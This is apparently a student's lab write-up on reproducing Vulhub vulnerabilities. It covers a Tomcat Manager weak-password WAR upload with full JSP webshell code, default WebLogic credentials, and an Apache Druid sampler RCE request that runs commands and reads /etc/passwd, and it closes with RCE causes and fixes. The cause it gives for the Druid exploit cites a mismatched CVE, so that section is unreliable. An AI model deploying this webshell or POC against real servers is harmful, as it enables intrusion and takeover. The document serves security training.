毕业实训-Day8

一、安装Docker和Docker-Compose

1. Docker

2. Docker-Compose

二、Vulhub中的漏洞复现

1. tomcat漏洞

1.1 复现

启动靶场访问8080端口,点击右侧Manager App弹出登录页面,使用tomcat的默认账号密码登录

登录成功后,就可以直接在后台上传war包从而直接getshell

使用下面的命令将下面的shell.jsp打包为war包

jar -cvf shell.war shell.jsp

shell.jsp的代码如下:

<%!
class U extends ClassLoader {
    U(ClassLoader c) { super(c); }
 
    public Class g(byte[] b) { return super.defineClass(b,0, b.length); }
 
    }
 
    public byte[] base64Decode(String str) throws Exception { try { Class
    clazz=Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer",
    String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class
    clazz=Class.forName("java.util.Base64"); Object decoder=clazz.getMethod("getDecoder").invoke(null); return (byte[])
    decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><%
 
    String cls=request.getParameter("passwd");if(cls!=null)
    {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}%
>

点击选择文件,将shell.war包上传,点击Deploy,部署成功后,会出现/shell

 访问上传的文件,注意在刚才的shell/路径后加shell.jsp

使用蚁剑进行连接,密码passwd,连接成功

点击进入后,成功复现

1.2 成因

Tomcat作为一款广泛使用的Java Web服务器,其安全性一直备受关注。弱口令和后台文件上传漏洞是常见的Tomcat安全问题,一旦被利用,攻击者可以获取服务器的控制权,造成严重后果。

1.2.1 弱口令
  • 默认配置: Tomcat默认的管理后台账号密码通常为"tomcat/tomcat",非常简单,容易被暴力破解。
  • 配置未修改: 管理员在部署Tomcat时,往往忽略了修改默认密码的重要性,导致系统存在显著的安全风险。
  • 密码强度不足: 即使修改了密码,如果密码强度不够,仍然可能被字典攻击或彩虹表攻击破解。
1.2.2 后台文件上传
  • 功能需求: Tomcat的管理后台提供了上传WAR包的功能,方便部署Web应用程序。
  • 权限控制不足: 在默认配置下,上传功能的权限控制不够严格,攻击者可以上传恶意WAR包。
  • 文件类型限制不严格: 服务器对上传文件的类型限制不够严格,允许上传JSP、ASP等脚本文件。

2. weblogic 弱口令/任意文件读取

2.1 复现

启动靶场后访问http://localhost:7001/console,即为weblogic后台

存在弱口令weblogic/Oracle@123,可以直接登录管理后台

2.2 成因

存在弱口令

3. apache 换行解析/drud RCE

3.1 复现

点击 Local disk 按钮

抓包发送下面的POC

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
 
{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
 
                },
                "dimensionsSpec":{
 
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

执行成功

3.2 成因

在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)

三、RCE漏洞的原理、利用条件及解决方案

原理

RCE(远程代码执行)漏洞的原理在于攻击者能够向目标系统发送恶意输入,这些输入被目标系统不当处理或未进行充分验证,导致系统执行了攻击者指定的代码。这通常发生在应用程序需要从用户那里接收输入,并将其作为代码或命令的一部分来执行时。如果应用程序没有对这些输入进行严格的验证和过滤,攻击者就可以构造恶意输入,从而控制目标系统。

具体来说,RCE漏洞可能发生在以下几种情况:

  1. 系统命令注入:在Web应用中,如果应用程序在执行系统命令时使用了用户输入的数据且未进行充分过滤,就可能出现命令注入漏洞。攻击者可以通过注入恶意命令来执行任意代码。
  2. 代码注入:在动态脚本语言中较为常见,如PHP、Python等。如果应用程序允许用户输入的内容被直接作为代码执行,就可能出现代码注入漏洞。
  3. 模板注入:当服务器端模板引擎在处理用户输入时没有进行充分的安全检查,攻击者可以通过构造恶意输入来执行任意代码。
  4. 反序列化漏洞:如果应用程序在反序列化用户输入的数据时没有进行充分的安全检查,攻击者可以构造恶意的序列化数据,导致在反序列化过程中执行任意代码。

利用条件

RCE漏洞的利用条件主要包括以下几点:

  1. 存在未经验证的输入:目标系统需要从用户那里接收输入,并且这些输入被用于执行代码或命令。
  2. 输入处理不当:目标系统没有对用户输入进行严格的验证和过滤,或者验证和过滤机制存在缺陷。
  3. 代码执行权限:攻击者需要能够构造出被目标系统执行的恶意代码或命令。
  4. 系统配置缺陷:目标系统的配置可能存在缺陷,使得攻击者能够更容易地利用RCE漏洞。

解决方案

针对RCE漏洞,可以采取以下解决方案来降低风险:

  1. 严格验证和过滤用户输入:对所有用户输入进行严格的验证和过滤,确保它们符合预期的格式和类型,并且不包含恶意代码或命令。
  2. 使用安全的编程实践:避免使用不安全的函数或方法,如eval()、system()等,这些函数或方法可能会执行用户输入的代码或命令。
  3. 最小化权限:确保应用程序以最小权限运行,即使发生RCE漏洞,攻击者也只能获得有限的访问权限。
  4. 使用安全的库和框架:选择经过安全审计和广泛使用的库和框架,它们通常包含更多的安全特性和修复了更多的安全漏洞。
  5. 定期更新和修补:定期更新和修补应用程序及其依赖的库和框架,以修复已知的安全漏洞。
  6. 监控和日志记录:实施监控和日志记录机制,以便在发生安全事件时能够及时发现和响应。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值